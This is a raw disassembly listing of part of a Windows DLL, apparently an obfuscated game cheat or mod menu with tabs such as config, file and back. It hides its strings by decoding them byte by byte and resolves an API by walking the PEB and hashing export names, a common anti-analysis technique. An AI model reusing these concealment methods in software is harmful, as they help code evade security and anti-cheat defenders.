movaps xmm1, xmm12
lea rcx, [rbp + 0x3f20]
call fcn.180011e10
mov qword [rbp - 0x70], rax
xor eax, eax
mov qword [rbp + 0xa00], rax
mov dword [rbp + 0xa08], eax
mov cl, 0x52
call fcn.1800ed7a0
mov byte [rsp + 0x5c], al
mov cl, 0x65
call fcn.1800ed7a0
mov byte [rsp + 0x50], al
mov cl, reloc.WS2_32.dll_WSASetLastError
call fcn.1800ed7a0
mov byte [rsp + 0x51], al
mov cl, 0x6c
call fcn.1800ed7a0
mov byte [rsp + 0x52], al
mov cl, 0x61
call fcn.1800ed7a0
movzx r13d, al
mov cl, 0x63
call fcn.1800ed7a0
movzx r12d, al
mov cl, 0x65
call fcn.1800ed7a0
movzx r15d, al
mov cl, 0x20
call fcn.1800ed7a0
movzx r14d, al
mov cl, 0x4e
call fcn.1800ed7a0
movzx esi, al
mov cl, reloc.WS2_32.dll_WSAGetLastError
call fcn.1800ed7a0
movzx edi, al
mov cl, 0x77
call fcn.1800ed7a0
movzx ebx, al
xor ecx, ecx
call fcn.1800ed7a0
movzx ecx, byte [rsp + 0x5c]
mov byte [rbp + 0xa00], cl
movzx ecx, byte [rsp + 0x50]
mov byte [rbp + 0xa01], cl
movzx ecx, byte [rsp + 0x51]
mov byte [rbp + 0xa02], cl
movzx ecx, byte [rsp + 0x52]
mov byte [rbp + 0xa03], cl
mov byte [rbp + 0xa04], r13b
mov byte [rbp + 0xa05], r12b
mov byte [rbp + 0xa06], r15b
mov byte [rbp + 0xa07], r14b
mov byte [rbp + 0xa08], sil
mov byte [rbp + 0xa09], dil
mov byte [rbp + 0xa0a], bl
mov byte [rbp + 0xa0b], al
lea rcx, [rbp + 0x3378]
call fcn.180011f00
mov dword [rsp + 0x70], 0x40
xor r8d, r8d
mov edi, recv
mov edx, edi
lea rcx, [rbp + 0x3378]
call fcn.180014330
xor r12d, r12d
mov esi, r12d
nop dword [rax]
nop word [rax + rax]
mov rdx, rsi
lea rcx, [rbp + 0xa00]
call fcn.180014b10
movzx ecx, byte [rax]
call fcn.1800ed7a0
movzx ebx, al
mov rdx, rsi
lea rcx, [rbp + 0x3378]
call fcn.180014c80
mov byte [rax], bl
inc rsi
sub rdi, 1
jne 0x1800e6130
lea rcx, [rbp + 0x3378]
call fcn.1800143e0
mov rdx, qword [rbp - 0x70]
mov rcx, rax
call fcn.180094d40
movzx ebx, al
lea rcx, [rbp + 0x3378]
call fcn.180011f20
test bl, bl
je 0x1800e646d
mov byte [0x1805e4e58], 1
mov dword [rsp + 0x20], 0xff
lea edx, [rdi + 0x2f]
mov r9d, 0xeb
lea r8d, [rdx + 0x57]
lea rcx, [rbp + 0x4a18]
call fcn.180011e40
movups xmm6, xmmword [rax]
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rbp + 0x10d0], xmm0
mov qword [rbp + 0x10e0], rax
mov cl, 0x54
call fcn.18001dba0
mov byte [rsp + 0x5c], al
mov cl, 0x61
call fcn.18001dba0
mov byte [rsp + 0x50], al
mov cl, 0x6b
call fcn.18001dba0
mov byte [rsp + 0x51], al
mov cl, 0x65
call fcn.18001dba0
mov byte [rsp + 0x52], al
mov cl, 0x20
call fcn.18001dba0
mov byte [rsp + 0x53], al
mov cl, 0x79
call fcn.18001dba0
mov byte [rsp + 0x54], al
mov cl, reloc.WS2_32.dll_WSAGetLastError
call fcn.18001dba0
mov byte [rsp + 0x55], al
mov cl, 0x75
call fcn.18001dba0
mov byte [rsp + 0x56], al
mov cl, WSAStartup
call fcn.18001dba0
mov byte [rsp + 0x57], al
mov cl, 0x20
call fcn.18001dba0
mov byte [rsp + 0x58], al
mov cl, 0x76
call fcn.18001dba0
mov byte [rsp + 0x59], al
mov cl, 0x65
call fcn.18001dba0
mov byte [rsp + 0x5a], al
mov cl, 0x68
call fcn.18001dba0
mov byte [rsp + 0x60], al
mov cl, 0x69
call fcn.18001dba0
mov byte [rsp + 0x61], al
mov cl, 0x63
call fcn.18001dba0
mov byte [rsp + 0x62], al
mov cl, 0x6c
call fcn.18001dba0
mov byte [rsp + 0x63], al
mov cl, 0x65
call fcn.18001dba0
movzx r13d, al
mov cl, 0x20
call fcn.18001dba0
movzx r12d, al
mov cl, reloc.WS2_32.dll_WSAGetLastError
call fcn.18001dba0
movzx r15d, al
mov cl, 0x75
call fcn.18001dba0
movzx r14d, al
mov cl, reloc.WS2_32.dll_WSACleanup
call fcn.18001dba0
movzx esi, al
mov cl, 0x20
call fcn.18001dba0
movzx edi, al
mov cl, 0x21
call fcn.18001dba0
movzx ebx, al
xor ecx, ecx
call fcn.18001dba0
movzx ecx, byte [rsp + 0x5c]
mov byte [rbp + 0x10d0], cl
movzx ecx, byte [rsp + 0x50]
mov byte [rbp + 0x10d1], cl
movzx ecx, byte [rsp + 0x51]
mov byte [rbp + 0x10d2], cl
movzx ecx, byte [rsp + 0x52]
mov byte [rbp + 0x10d3], cl
movzx ecx, byte [rsp + 0x53]
mov byte [rbp + 0x10d4], cl
movzx ecx, byte [rsp + 0x54]
mov byte [rbp + 0x10d5], cl
movzx ecx, byte [rsp + 0x55]
mov byte [rbp + 0x10d6], cl
movzx ecx, byte [rsp + 0x56]
mov byte [rbp + 0x10d7], cl
movzx ecx, byte [rsp + 0x57]
mov byte [rbp + 0x10d8], cl
movzx ecx, byte [rsp + 0x58]
mov byte [rbp + 0x10d9], cl
movzx ecx, byte [rsp + 0x59]
mov byte [rbp + 0x10da], cl
movzx ecx, byte [rsp + 0x5a]
mov byte [rbp + 0x10db], cl
movzx ecx, byte [rsp + 0x60]
mov byte [rbp + 0x10dc], cl
movzx ecx, byte [rsp + 0x61]
mov byte [rbp + 0x10dd], cl
movzx ecx, byte [rsp + 0x62]
mov byte [rbp + 0x10de], cl
movzx ecx, byte [rsp + 0x63]
mov byte [rbp + 0x10df], cl
mov byte [rbp + 0x10e0], r13b
mov byte [rbp + 0x10e1], r12b
mov byte [rbp + 0x10e2], r15b
mov byte [rbp + 0x10e3], r14b
mov byte [rbp + 0x10e4], sil
mov byte [rbp + 0x10e5], dil
mov byte [rbp + 0x10e6], bl
mov byte [rbp + 0x10e7], al
lea rcx, [rbp + 0x3398]
call fcn.180011f00
mov dword [rsp + 0x70], 0x40000000
xor r8d, r8d
mov esi, 0x18
mov edx, esi
lea rcx, [rbp + 0x3398]
call fcn.180014330
xor r12d, r12d
mov edi, r12d
nop dword [rax + rax]
mov rdx, rdi
lea rcx, [rbp + 0x10d0]
call fcn.180056750
movzx ecx, byte [rax]
call fcn.18001dba0
movzx ebx, al
mov rdx, rdi
lea rcx, [rbp + 0x3398]
call fcn.180014c80
mov byte [rax], bl
inc rdi
sub rsi, 1
jne 0x1800e63f0
lea rcx, [rbp + 0x3398]
call fcn.1800143e0
mov rdx, rax
lea rcx, [rbp + 0x46b8]
call fcn.1800143f0
movdqa xmmword [rbp - 0x70], xmm6
movaps xmm3, xmm14
lea r8, [rbp - 0x70]
lea rdx, [0x1801cc598]
mov rcx, rax
call fcn.1800b0870
nop
lea rcx, [rbp + 0x3398]
call fcn.180011f20
call fcn.180078140
movaps xmm1, xmm11
movaps xmm0, xmm15
call fcn.180076ad0
movaps xmm2, xmm8
movaps xmm1, xmm12
lea rcx, [rbp + 0x3f28]
call fcn.180011e10
mov r13, rax
xor eax, eax
mov dword [rbp + 0xf0], eax
mov word [rbp + 0xf4], ax
mov cl, 0x43
call fcn.1800148b0
movzx r15d, al
mov cl, 0x6c
call fcn.1800148b0
movzx r14d, al
mov cl, reloc.WS2_32.dll_WSAGetLastError
call fcn.1800148b0
movzx esi, al
mov cl, reloc.WS2_32.dll_WSAStartup
call fcn.1800148b0
movzx edi, al
mov cl, 0x65
call fcn.1800148b0
movzx ebx, al
xor ecx, ecx
call fcn.1800148b0
mov byte [rbp + 0xf0], r15b
mov byte [rbp + 0xf1], r14b
mov byte [rbp + 0xf2], sil
mov byte [rbp + 0xf3], dil
mov byte [rbp + 0xf4], bl
mov byte [rbp + 0xf5], al
lea rcx, [rbp + 0x33b8]
call fcn.180011f00
mov dword [rsp + 0x70], 0x80
xor r8d, r8d
mov edi, 6
mov edx, edi
lea rcx, [rbp + 0x33b8]
call fcn.180014330
nop dword [rax]
mov rdx, r12
lea rcx, [rbp + 0xf0]
call fcn.180014a40
movzx ecx, byte [rax]
call fcn.1800148b0
movzx ebx, al
mov rdx, r12
lea rcx, [rbp + 0x33b8]
call fcn.180014c80
mov byte [rax], bl
inc r12
sub rdi, 1
jne 0x1800e6530
lea rcx, [rbp + 0x33b8]
call fcn.1800143e0
mov rdx, r13
mov rcx, rax
call fcn.180094d40
movzx ebx, al
lea rcx, [rbp + 0x33b8]
call fcn.180011f20
test bl, bl
je 0x1800e6593
call fcn.180078140
mov ecx, 1
call fcn.180069690
mov ecx, 1
call fcn.1800697c0
call fcn.180075800
call fcn.180070430
mov ecx, 1
call fcn.180069690
call fcn.180078610
nop
lea rcx, [rbp + 0x4bd8]
call fcn.1800a9aa0
jmp case.default.0x1800caf59
mov ecx, dword [0x1805e4f50]
test ecx, ecx
je 0x1800e83a5
cmp ecx, 1
jne case.default.0x1800caf59
mov edx, dword [0x1805e2604]
mov rax, qword gs:[0x58]
mov ecx, 8
mov rax, qword [rax + rdx*8]
mov eax, dword [rcx + rax]
cmp dword [0x1805e5d70], eax
jle 0x1800e664d
lea rcx, [0x1805e5d70]
call fcn.180155598
cmp dword [0x1805e5d70], 0xffffffff
jne 0x1800e664d
lea rdx, [0x1801c45a1]
lea rcx, [0x1805e5d80]
call fcn.180068f00
lea rcx, [0x1801a43c0]
call fcn.180155a84
nop
lea rcx, [0x1805e5d70]
call fcn.18015552c
lea rcx, [rbp + 0x4b98]
call fcn.180064390
xor eax, eax
mov qword [rbp + 0x1208], rax
mov cl, 0x43
call fcn.1800148d0
mov byte [rsp + 0x68], al
mov cl, reloc.WS2_32.dll_WSAGetLastError
call fcn.1800148d0
mov byte [rsp + 0x69], al
mov cl, WSAGetLastError
call fcn.1800148d0
mov byte [rsp + 0x6a], al
mov cl, 0x66
call fcn.1800148d0
mov byte [rsp + 0x6b], al
mov cl, 0x69
call fcn.1800148d0
mov byte [rsp + 0x6c], al
mov cl, 0x67
call fcn.1800148d0
mov byte [rsp + 0x6d], al
mov cl, reloc.WS2_32.dll_WSAStartup
call fcn.1800148d0
mov byte [rsp + 0x6e], al
xor ecx, ecx
call fcn.1800148d0
mov byte [rsp + 0x6f], al
mov rax, qword [rsp + 0x68]
mov qword [rbp + 0x1208], rax
lea rcx, [rbp + 0x33d8]
call fcn.180011f00
mov dword [rsp + 0x70], 0x4000
xor r8d, r8d
mov ebx, 8
mov edx, ebx
lea rcx, [rbp + 0x33d8]
call fcn.180014330
mov esi, ebx
nop dword [rax]
nop word [rax + rax]
mov rdx, rdi
lea rcx, [rbp + 0x1208]
call fcn.1800149e0
movzx ecx, byte [rax]
call fcn.1800148d0
movzx ebx, al
mov rdx, rdi
lea rcx, [rbp + 0x33d8]
call fcn.180014c80
mov byte [rax], bl
inc rdi
sub rsi, 1
jne 0x1800e6700
lea rcx, [rbp + 0x33d8]
call fcn.1800143e0
mov rdx, rax
lea rcx, [0x1805dded0]
call fcn.180056330
nop
lea rcx, [rbp + 0x33d8]
call fcn.180011f20
xor eax, eax
mov byte [rbp - 0x4f], al
lea rdx, [rbp - 0x4f]
lea rcx, [0x1805e4d78]
call fcn.1800edc10
movss xmm11, dword [0x1801ce774]
movaps xmm0, xmm11
call fcn.180076bd0
movaps xmm0, xmm11
call fcn.180076c20
mov dword [rsp + 0x20], gethostname
mov edx, socket
mov r9d, edx
mov r8d, edx
lea rcx, [rbp + 0x4a28]
call fcn.180011e40
mov rdx, rax
mov ecx, r14d
call fcn.180069630
lea rcx, [rbp + 0x3f30]
call fcn.180076f00
movss xmm1, dword [rax]
subss xmm1, xmm7
movss xmm14, dword [0x1801ce7a8]
movaps xmm2, xmm14
lea rcx, [rbp + 0x3f38]
call fcn.180011e10
mov qword [rbp - 0x70], rax
xor eax, eax
mov qword [rbp + 0x5e0], rax
mov dword [rbp + 0x5e8], eax
mov byte [rbp + 0x5ec], al
mov cl, 0x23
call fcn.1800147c0
mov byte [rsp + 0x5c], al
mov cl, 0x23
call fcn.1800147c0
mov byte [rsp + 0x50], al
mov cl, 0x66
call fcn.1800147c0
mov byte [rsp + 0x51], al
mov cl, 0x69
call fcn.1800147c0
mov byte [rsp + 0x52], al
mov cl, 0x6c
call fcn.1800147c0
mov byte [rsp + 0x53], al
mov cl, reloc.WS2_32.dll_WSACleanup
call fcn.1800147c0
movzx r13d, al
mov cl, 0x65
call fcn.1800147c0
movzx r12d, al
mov cl, WSAStartup
call fcn.1800147c0
movzx r15d, al
mov cl, 0x5f
call fcn.1800147c0
movzx r14d, al
mov cl, reloc.WS2_32.dll_WSACleanup
call fcn.1800147c0
movzx esi, al
mov cl, 0x61
call fcn.1800147c0
movzx edi, al
mov cl, 0x62
call fcn.1800147c0
movzx ebx, al
xor ecx, ecx
call fcn.1800147c0
movzx ecx, byte [rsp + 0x5c]
mov byte [rbp + 0x5e0], cl
movzx ecx, byte [rsp + 0x50]
mov byte [rbp + 0x5e1], cl
movzx ecx, byte [rsp + 0x51]
mov byte [rbp + 0x5e2], cl
movzx ecx, byte [rsp + 0x52]
mov byte [rbp + 0x5e3], cl
movzx ecx, byte [rsp + 0x53]
mov byte [rbp + 0x5e4], cl
mov byte [rbp + 0x5e5], r13b
mov byte [rbp + 0x5e6], r12b
mov byte [rbp + 0x5e7], r15b
mov byte [rbp + 0x5e8], r14b
mov byte [rbp + 0x5e9], sil
mov byte [rbp + 0x5ea], dil
mov byte [rbp + 0x5eb], bl
mov byte [rbp + 0x5ec], al
lea rcx, [rbp + 0x33f8]
call fcn.180011f00
mov dword [rsp + 0x70], 0x10000
xor r8d, r8d
mov ebx, reloc.WS2_32.dll_listen
mov edx, ebx
lea rcx, [rbp + 0x33f8]
call fcn.180014330
xor edi, edi
mov esi, ebx
nop
mov rdx, rdi
lea rcx, [rbp + 0x5e0]
call fcn.180014aa0
movzx ecx, byte [rax]
call fcn.1800147c0
movzx ebx, al
mov rdx, rdi
lea rcx, [rbp + 0x33f8]
call fcn.180014c80
mov byte [rax], bl
inc rdi
sub rsi, 1
jne 0x1800e6920
lea rcx, [rbp + 0x33f8]
call fcn.1800143e0
xor r9d, r9d
xor r8d, r8d
mov rdx, qword [rbp - 0x70]
mov rcx, rax
call fcn.180070380
nop
lea rcx, [rbp + 0x33f8]
call fcn.180011f20
movaps xmm0, xmm7
call fcn.180076c20
movaps xmm0, xmm7
call fcn.180076bd0
mov dword [rsp + 0x20], 0xc8
mov eax, recv
mov r9d, eax
mov r8d, eax
mov edx, eax
lea rcx, [rbp + 0x4a38]
call fcn.180011e40
mov rdx, rax
lea ecx, [rsi + 7]
call fcn.180069630
mov dword [rsp + 0x20], 0xff
mov edx, 0xc8
mov r9d, edx
mov r8d, edx
lea rcx, [rbp + 0x4a48]
call fcn.180011e40
mov rdx, rax
xor ecx, ecx
call fcn.180069630
lea rcx, [rbp + 0x3f40]
call fcn.180076f00
movss xmm2, dword [rax]
movss xmm10, dword [0x1801ce7e4]
subss xmm2, xmm10
lea rdx, str.search_config
lea rcx, [0x1805e5d80]
call fcn.180068f50
movss xmm9, dword [0x1801ce8d8]
movaps xmm1, xmm9
movaps xmm0, xmm15
call fcn.180076ad0
xor eax, eax
mov qword [rbp + 0x7c0], rax
mov word [rbp + 0x7c8], ax
mov cl, 0x4f
call fcn.180014ae0
mov byte [rsp + 0x5c], al
mov cl, WSAGetLastError
call fcn.180014ae0
mov byte [rsp + 0x50], al
mov cl, 0x6c
call fcn.180014ae0
movzx r13d, al
mov cl, 0x79
call fcn.180014ae0
movzx r12d, al
mov cl, 0x20
call fcn.180014ae0
movzx r15d, al
mov cl, 0x4d
call fcn.180014ae0
movzx r14d, al
mov cl, 0x69
call fcn.180014ae0
movzx esi, al
mov cl, WSAGetLastError
call fcn.180014ae0
movzx edi, al
mov cl, 0x65
call fcn.180014ae0
movzx ebx, al
xor ecx, ecx
call fcn.180014ae0
movzx ecx, byte [rsp + 0x5c]
mov byte [rbp + 0x7c0], cl
movzx ecx, byte [rsp + 0x50]
mov byte [rbp + 0x7c1], cl
mov byte [rbp + 0x7c2], r13b
mov byte [rbp + 0x7c3], r12b
mov byte [rbp + 0x7c4], r15b
mov byte [rbp + 0x7c5], r14b
mov byte [rbp + 0x7c6], sil
mov byte [rbp + 0x7c7], dil
mov byte [rbp + 0x7c8], bl
mov byte [rbp + 0x7c9], al
lea rcx, [rbp + 0x3418]
call fcn.180011f00
mov dword [rsp + 0x70], 0x8000
xor r8d, r8d
mov edi, 0xa
mov edx, edi
lea rcx, [rbp + 0x3418]
call fcn.180014330
xor esi, esi
nop word [rax + rax]
mov rdx, rsi
lea rcx, [rbp + 0x7c0]
call fcn.180014ac0
movzx ecx, byte [rax]
call fcn.180014ae0
movzx ebx, al
mov rdx, rsi
lea rcx, [rbp + 0x3418]
call fcn.180014c80
mov byte [rax], bl
inc rsi
sub rdi, 1
jne 0x1800e6b20
lea rcx, [rbp + 0x3418]
call fcn.1800143e0
mov rcx, rax
lea rdx, [0x1805e4f68]
call fcn.1800b3d40
nop
lea rcx, [rbp + 0x3418]
call fcn.180011f20
lea ecx, [rdi + 2]
call fcn.180069690
call fcn.180070430
movaps xmm0, xmm11
call fcn.180076bd0
lea rcx, [rbp + 0x3f48]
call fcn.180076f00
movss xmm6, dword [rax + 4]
movss xmm12, dword [0x1801ce7cc]
subss xmm6, xmm12
lea rcx, [rbp + 0x3f50]
call fcn.180076f00
movss xmm1, dword [rax]
subss xmm1, xmm11
movaps xmm2, xmm6
lea rcx, [rbp + 0x3f58]
call fcn.180011e10
mov qword [rbp - 0x70], rax
xor eax, eax
mov qword [rbp + 0x830], rax
mov dword [rbp + 0x838], eax
mov word [rbp + 0x83c], ax
mov cl, 0x23
call fcn.1800147c0
mov byte [rsp + 0x5c], al
mov cl, 0x23
call fcn.1800147c0
mov byte [rsp + 0x50], al
mov cl, 0x63
call fcn.1800147c0
mov byte [rsp + 0x51], al
mov cl, reloc.WS2_32.dll_WSAGetLastError
call fcn.1800147c0
mov byte [rsp + 0x52], al
mov cl, WSAGetLastError
call fcn.1800147c0
mov byte [rsp + 0x53], al
mov cl, 0x66
call fcn.1800147c0
mov byte [rsp + 0x54], al
mov cl, 0x69
call fcn.1800147c0
movzx r13d, al
mov cl, 0x67
call fcn.1800147c0
movzx r12d, al
mov cl, 0x5f
call fcn.1800147c0
movzx r15d, al
mov cl, 0x69
call fcn.1800147c0
movzx r14d, al
mov cl, WSAGetLastError
call fcn.1800147c0
movzx esi, al
mov cl, 0x66
call fcn.1800147c0
movzx edi, al
mov cl, reloc.WS2_32.dll_WSAGetLastError
call fcn.1800147c0
movzx ebx, al
xor ecx, ecx
call fcn.1800147c0
movzx ecx, byte [rsp + 0x5c]
mov byte [rbp + 0x830], cl
movzx ecx, byte [rsp + 0x50]
mov byte [rbp + 0x831], cl
movzx ecx, byte [rsp + 0x51]
mov byte [rbp + 0x832], cl
movzx ecx, byte [rsp + 0x52]
mov byte [rbp + 0x833], cl
movzx ecx, byte [rsp + 0x53]
mov byte [rbp + 0x834], cl
movzx ecx, byte [rsp + 0x54]
mov byte [rbp + 0x835], cl
mov byte [rbp + 0x836], r13b
mov byte [rbp + 0x837], r12b
mov byte [rbp + 0x838], r15b
mov byte [rbp + 0x839], r14b
mov byte [rbp + 0x83a], sil
mov byte [rbp + 0x83b], dil
mov byte [rbp + 0x83c], bl
mov byte [rbp + 0x83d], al
lea rcx, [rbp + 0x3438]
call fcn.180011f00
mov dword [rsp + 0x70], 0x20000
xor r8d, r8d
mov ebx, recv
mov edx, ebx
lea rcx, [rbp + 0x3438]
call fcn.180014330
xor edi, edi
mov esi, edi
mov r14d, ebx
nop dword [rax + rax]
mov rdx, rsi
lea rcx, [rbp + 0x830]
call fcn.1800149b0
movzx ecx, byte [rax]
call fcn.1800147c0
movzx ebx, al
mov rdx, rsi
lea rcx, [rbp + 0x3438]
call fcn.180014c80
mov byte [rax], bl
inc rsi
sub r14, 1
jne 0x1800e6d30
lea rcx, [rbp + 0x3438]
call fcn.1800143e0
xor r9d, r9d
xor r8d, r8d
mov rdx, qword [rbp - 0x70]
mov rcx, rax
call fcn.180070380
nop
lea rcx, [rbp + 0x3438]
call fcn.180011f20
lea rcx, [0x1805e5bb0]
call fcn.18001bd60
lea rcx, [0x1805ddef0]
call fcn.1800ed1e0
mov r14, rax
lea rcx, [0x1805ddef0]
call fcn.1800ed1d0
mov r12, rax
cmp r14, rax
je 0x1800e6ee8
mov rcx, r14
call fcn.1800143e0
mov rdx, rax
xor r8d, r8d
lea rcx, [0x1805e5d80]
call fcn.180069230
test al, al
je 0x1800e6ed8
cmp byte [0x1805e4f68], 0
je 0x1800e6ed0
mov rbx, qword [0x1805e4f30]
test rbx, rbx
jne 0x1800e6eb7
mov rax, qword gs:[0x60]
mov rcx, qword [rax + 0x18]
mov rax, qword [rcx + 0x10]
mov r15, qword [rax]
mov rsi, r15
nop dword [rax + rax]
mov r9, qword [rsi + 0x30]
movsxd rax, dword [r9 + 0x3c]
mov ebx, dword [rax + r9 + 0x88]
add rbx, r9
cmp rbx, r9
je 0x1800e6e97
mov r8d, dword [rbx + 0x18]
test r8d, r8d
je 0x1800e6e97
mov r11d, dword [rbx + 0x20]
nop word [rax + rax]
dec r8d
lea rax, [r9 + r8*4]
mov ecx, dword [rax + r11]
add rcx, r9
mov edx, 0x62b14453
movzx eax, byte [rcx]
inc rcx
test al, al
je 0x1800e6e92
nop dword [rax]
movsx eax, al
xor eax, edx
imul edx, eax, 0x1000193
movzx eax, byte [rcx]
lea rcx, [rcx + 1]
test al, al
jne 0x1800e6e70
cmp edx, 0x625a4806
je 0x1800e7f74
test r8d, r8d
jne 0x1800e6e50
mov rax, qword [rsi]
mov rsi, rax
cmp rax, r15
je 0x1800e6ead
cmp qword [rax + 0x30], 0
jne 0x1800e6e20
mov rbx, rdi
mov qword [0x1805e4f30], rbx
lea rcx, [r14 + 0x40]
call fcn.1800143e0
lea rdx, str.Username
mov rcx, rax
call rbx
test eax, eax
jne 0x1800e6ed8
mov rcx, r14
call fcn.1800b1e80
add r14, 0x88
cmp r14, r12
jne 0x1800e6dc2
call fcn.180070430
mov ecx, 1
call fcn.180069690
call fcn.180096cd0
call fcn.180096cd0
call fcn.180096cd0
movaps xmm0, xmm13
call fcn.180076bd0
movss xmm8, dword [0x1801ce760]
movaps xmm1, xmm8
mov ecx, 7
call fcn.1800696e0
movaps xmm2, xmm14
movss xmm6, dword [0x1801ce818]
movaps xmm1, xmm6
lea rcx, [rbp + 0x3f60]
call fcn.180011e10
mov qword [rbp - 0x70], rax
xor eax, eax
mov qword [rbp + 0x250], rax
mov word [rbp + 0x258], ax
mov byte [rbp + 0x25a], al
mov cl, 0x23
call fcn.1800569b0
mov byte [rsp + 0x5c], al
mov cl, 0x23
call fcn.1800569b0
mov byte [rsp + 0x50], al
mov cl, 0x62
call fcn.1800569b0
mov byte [rsp + 0x51], al
mov cl, 0x61
call fcn.1800569b0
movzx r13d, al
mov cl, 0x63
call fcn.1800569b0
movzx r12d, al
mov cl, 0x6b
call fcn.1800569b0
movzx r15d, al
mov cl, 0x5f
call fcn.1800569b0
movzx r14d, al
mov cl, reloc.WS2_32.dll_WSACleanup
call fcn.1800569b0
movzx esi, al
mov cl, 0x61
call fcn.1800569b0
movzx edi, al
mov cl, 0x62
call fcn.1800569b0
movzx ebx, al
xor ecx, ecx
call fcn.1800569b0
movzx ecx, byte [rsp + 0x5c]
mov byte [rbp + 0x250], cl
movzx ecx, byte [rsp + 0x50]
mov byte [rbp + 0x251], cl
movzx ecx, byte [rsp + 0x51]
mov byte [rbp + 0x252], cl
mov byte [rbp + 0x253], r13b
mov byte [rbp + 0x254], r12b
mov byte [rbp + 0x255], r15b
mov byte [rbp + 0x256], r14b
mov byte [rbp + 0x257], sil
mov byte [rbp + 0x258], dil
mov byte [rbp + 0x259], bl
mov byte [rbp + 0x25a], al
lea rcx, [rbp + 0x3458]
call fcn.180011f00
mov dword [rsp + 0x70], 0x400
xor r8d, r8d
mov esi, listen
mov edx, esi
lea rcx, [rbp + 0x3458]
call fcn.180014330
xor r15d, r15d
mov edi, r15d
nop dword [rax]
nop dword [rax + rax]
mov rdx, rdi
lea rcx, [rbp + 0x250]
call fcn.180014af0
movzx ecx, byte [rax]
call fcn.1800569b0
movzx ebx, al
mov rdx, rdi
lea rcx, [rbp + 0x3458]
call fcn.180014c80
mov byte [rax], bl
inc rdi
sub rsi, 1
jne 0x1800e7060
lea rcx, [rbp + 0x3458]
call fcn.1800143e0
xor r9d, r9d
xor r8d, r8d
mov rdx, qword [rbp - 0x70]
mov rcx, rax
call fcn.180070380
nop
lea rcx, [rbp + 0x3458]
call fcn.180011f20
movss xmm1, dword [0x1801ce5d0]
lea ecx, [rsi + 0xd]
call fcn.1800696e0
mov dword [rsp + 0x20], 0xff
mov ebx, socket
mov r9d, ebx
mov r8d, ebx
mov edx, ebx
lea rcx, [rbp + 0x4a58]
call fcn.180011e40
mov rdx, rax
lea ecx, [rsi + 0x15]
call fcn.180069630
mov dword [rsp + 0x20], 0xff
mov edx, 0xff
mov r9d, 0x5e
mov r8d, r9d
lea rcx, [rbp + 0x4a68]
call fcn.180011e40
mov rdx, rax
mov r13d, 5
mov ecx, r13d
call fcn.180069630
mov dword [rsp + 0x20], 0xff
mov edx, 0xff
mov r9d, 0x5e
mov r8d, r9d
lea rcx, [rbp + 0x4a78]
call fcn.180011e40
mov rdx, rax
mov ecx, ebx
call fcn.180069630
mov dword [rsp + 0x20], 0xff
mov edx, 0xff
mov r9d, 0x69
mov r8d, r9d
lea rcx, [rbp + 0x44d8]
call fcn.180011e40
mov rdx, rax
lea ecx, [rsi + 0x17]
call fcn.180069630
mov rcx, qword [0x1805e4a20]
call fcn.180075760
movaps xmm0, xmm7
call fcn.180076c20
movss xmm7, dword [0x1801ce74c]
movaps xmm0, xmm7
call fcn.180076bd0
lea rcx, [rbp + 0x3f68]
call fcn.180076f00
movss xmm1, dword [rax]
subss xmm1, xmm7
movaps xmm2, xmm11
lea rcx, [rbp + 0x3f70]
call fcn.180011e10
mov r12, rax
xor eax, eax
mov dword [rbp - 0x18], eax
mov byte [rbp - 0x14], al
mov cl, 0x42
call fcn.1800146b0
movzx r14d, al
mov cl, 0x61
call fcn.1800146b0
movzx esi, al
mov cl, 0x63
call fcn.1800146b0
movzx edi, al
mov cl, 0x6b
call fcn.1800146b0
movzx ebx, al
xor ecx, ecx
call fcn.1800146b0
mov byte [rbp - 0x18], r14b
mov byte [rbp - 0x17], sil
mov byte [rbp - 0x16], dil
mov byte [rbp - 0x15], bl
mov byte [rbp - 0x14], al
lea rcx, [rbp + 0x3478]
call fcn.180011f00
mov dword [rsp + 0x70], 0x4000
xor r8d, r8d
mov edx, r13d
lea rcx, [rbp + 0x3478]
call fcn.180014330
mov rdi, r15
nop word [rax + rax]
mov rdx, rdi
lea rcx, [rbp - 0x18]
call fcn.180014a00
movzx ecx, byte [rax]
call fcn.1800146b0
movzx ebx, al
mov rdx, rdi
lea rcx, [rbp + 0x3478]
call fcn.180014c80
mov byte [rax], bl
inc rdi
sub r13, 1
jne 0x1800e7250
lea rcx, [rbp + 0x3478]
call fcn.1800143e0
mov rdx, r12
mov rcx, rax
call fcn.180094d40
movzx ebx, al
lea rcx, [rbp + 0x3478]
call fcn.180011f20
test bl, bl
je 0x1800e72b2
mov dword [0x1805e4f50], r15d
call fcn.180075800
mov ecx, 4
call fcn.180069690
mov ecx, 1
call fcn.1800697c0
call fcn.180070430
mov ecx, 1
call fcn.1800697c0
movss xmm1, dword [0x1801ce7c0]
movaps xmm0, xmm15
call fcn.180076ad0
movaps xmm1, xmm8
mov ecx, 7
call fcn.1800696e0
lea rcx, [rbp + 0x3f78]
call fcn.180076f00
movss xmm1, dword [rax]
subss xmm1, xmm11
movaps xmm2, xmm14
lea rcx, [rbp + 0x3f80]
call fcn.180011e10
mov qword [rbp - 0x70], rax
xor eax, eax
mov qword [rbp + 0x940], rax
mov dword [rbp + 0x948], eax
mov word [rbp + 0x94c], ax
mov cl, 0x23
call fcn.1800569f0
mov byte [rsp + 0x5c], al
mov cl, 0x23
call fcn.1800569f0
mov byte [rsp + 0x50], al
mov cl, 0x63
call fcn.1800569f0
mov byte [rsp + 0x51], al
mov cl, reloc.WS2_32.dll_WSAGetLastError
call fcn.1800569f0
mov byte [rsp + 0x52], al
mov cl, WSAGetLastError
call fcn.1800569f0
mov byte [rsp + 0x53], al
mov cl, reloc.WS2_32.dll_WSACleanup
call fcn.1800569f0
mov byte [rsp + 0x54], al
mov cl, WSAStartup
call fcn.1800569f0
movzx r13d, al
mov cl, reloc.WS2_32.dll_WSAGetLastError
call fcn.1800569f0
movzx r12d, al
mov cl, 0x6c
call fcn.1800569f0
movzx r15d, al
mov cl, 0x5f
call fcn.1800569f0
movzx r14d, al
mov cl, reloc.WS2_32.dll_WSACleanup
call fcn.1800569f0
movzx esi, al
mov cl, 0x61
call fcn.1800569f0
movzx edi, al
mov cl, 0x62
call fcn.1800569f0
movzx ebx, al
xor ecx, ecx
call fcn.1800569f0
movzx ecx, byte [rsp + 0x5c]
mov byte [rbp + 0x940], cl
movzx ecx, byte [rsp + 0x50]
mov byte [rbp + 0x941], cl
movzx ecx, byte [rsp + 0x51]
mov byte [rbp + 0x942], cl
movzx ecx, byte [rsp + 0x52]
mov byte [rbp + 0x943], cl
movzx ecx, byte [rsp + 0x53]
mov byte [rbp + 0x944], cl
movzx ecx, byte [rsp + 0x54]
